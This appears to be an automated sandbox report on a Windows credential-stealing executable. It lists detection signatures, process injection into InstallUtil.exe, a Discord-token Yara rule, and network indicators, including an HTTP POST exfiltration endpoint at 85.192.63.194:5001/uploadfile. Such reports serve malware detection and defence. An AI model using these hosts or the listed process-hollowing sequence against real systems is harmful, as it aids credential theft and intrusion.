Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	874613
MD5:	2df2884b8b1a86fa61343ea81352ec77
SHA1:	83dc7863e234f48607a16f0be43290259088dfd2
SHA256:	e0cc3040ad1009bda35882a71398733e14701fc0829e2d5dc84d920f6a72ec42
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Writes to foreign memory regions

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Allocates memory in foreign processes

May check the online IP address of the machine

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Contains functionality to read the PEB

Detected TCP or UDP traffic on non-standard ports

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

file.exe (PID: 7040 cmdline: C:\Users\user\Desktop\file.exe MD5: 2DF2884B8B1A86FA61343EA81352EC77)

conhost.exe (PID: 7016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

InstallUtil.exe (PID: 7152 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3a740:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x3a7e4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: InstallUtil.exe PID: 7152	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7152	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1d2e4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 56%
Source: file.exe	Virustotal: Detection: 56%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Source: http://85.192.63.194:5001/uploadfile

Virustotal: Detection: 6%

Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Users\admin\Desktop\worka\sourse\Obladet\obladaet\bin\Release\Secured\imageviewer.pdb source: file.exe, 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmp, InstallUtil.exe, 00000002.00000002.445600620.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001BE3A0 FindFirstFileExW,

0_2_001BE3A0

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 5001
Source: unknown	Network traffic detected: HTTP traffic on port 5001 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 5001 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 5001 -> 49708

May check the online IP address of the machine

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /uploadfile HTTP/1.1Content-Type: multipart/form-data; boundary="d93d91ad-9e20-4217-96c8-9bc98e4c52bc"Host: 85.192.63.194:5001Content-Length: 89557Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: global traffic	TCP traffic: 192.168.2.7:49706 -> 193.233.232.195:8899
Source: global traffic	TCP traffic: 192.168.2.7:49708 -> 85.192.63.194:5001

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.195
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194
Source: unknown	TCP traffic detected without corresponding DNS query: 85.192.63.194

Source: InstallUtil.exe, 00000002.00000002.449788785.00000000031A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63
Source: InstallUtil.exe, 00000002.00000002.449788785.00000000031A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.194:5001
Source: InstallUtil.exe, 00000002.00000002.449788785.00000000031A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.194:5001/uploadfile
Source: InstallUtil.exe, 00000002.00000002.449788785.00000000031A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.194:50014
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: file.exe	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: file.exe	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com4
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: file.exe	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: file.exe	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0
Source: InstallUtil.exe, 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: file.exe	String found in binary or memory: http://subca.ocsp-certum.com01
Source: file.exe	String found in binary or memory: http://subca.ocsp-certum.com02
Source: file.exe	String found in binary or memory: http://subca.ocsp-certum.com05
Source: file.exe	String found in binary or memory: http://www.certum.pl/CPS0
Source: file.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: InstallUtil.exe, 00000002.00000003.351802617.000000000102D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.459244638.0000000003D66000.00000004.00000800.00020000.00000000.sdmp, tmp7F48.tmp.dat.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

HTTP traffic detected: POST /uploadfile HTTP/1.1Content-Type: multipart/form-data; boundary="d93d91ad-9e20-4217-96c8-9bc98e4c52bc"Host: 85.192.63.194:5001Content-Length: 89557Expect: 100-continueConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: global traffic

HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: file.exe, 00000000.00000002.348069137.0000000000B0A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: InstallUtil.exe PID: 7152, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000002.00000002.449788785.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: InstallUtil.exe PID: 7152, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B80B5	0_2_001B80B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001AF192	0_2_001AF192
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C0A05	0_2_001C0A05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001A2200	0_2_001A2200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C226A	0_2_001C226A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B6638	0_2_001B6638
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001BC6C9	0_2_001BC6C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001B26E0	0_2_001B26E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02AB8628	2_2_02AB8628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02AB8618	2_2_02AB8618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05522B18	2_2_05522B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05A1F130	2_2_05A1F130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05A11320	2_2_05A11320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05A1FAA0	2_2_05A1FAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05A11310	2_2_05A11310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05A1ED98	2_2_05A1ED98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05A18E28	2_2_05A18E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05A18E1A	2_2_05A18E1A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: String function: 02AB0570 appears 54 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001AA2B0 appears 51 times

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001A2660 GetModuleHandleW,GetModuleHandleW,GetModuleHandleW,GetConsoleWindow,ShowWindow,CreateProcessW,VirtualAllocEx,GetThreadContext,ReadProcessMemory,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,ResumeThread,

0_2_001A2660

Source: file.exe

Static PE information: invalid certificate

Source: file.exe	ReversingLabs: Detection: 56%
Source: file.exe	Virustotal: Detection: 56%

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
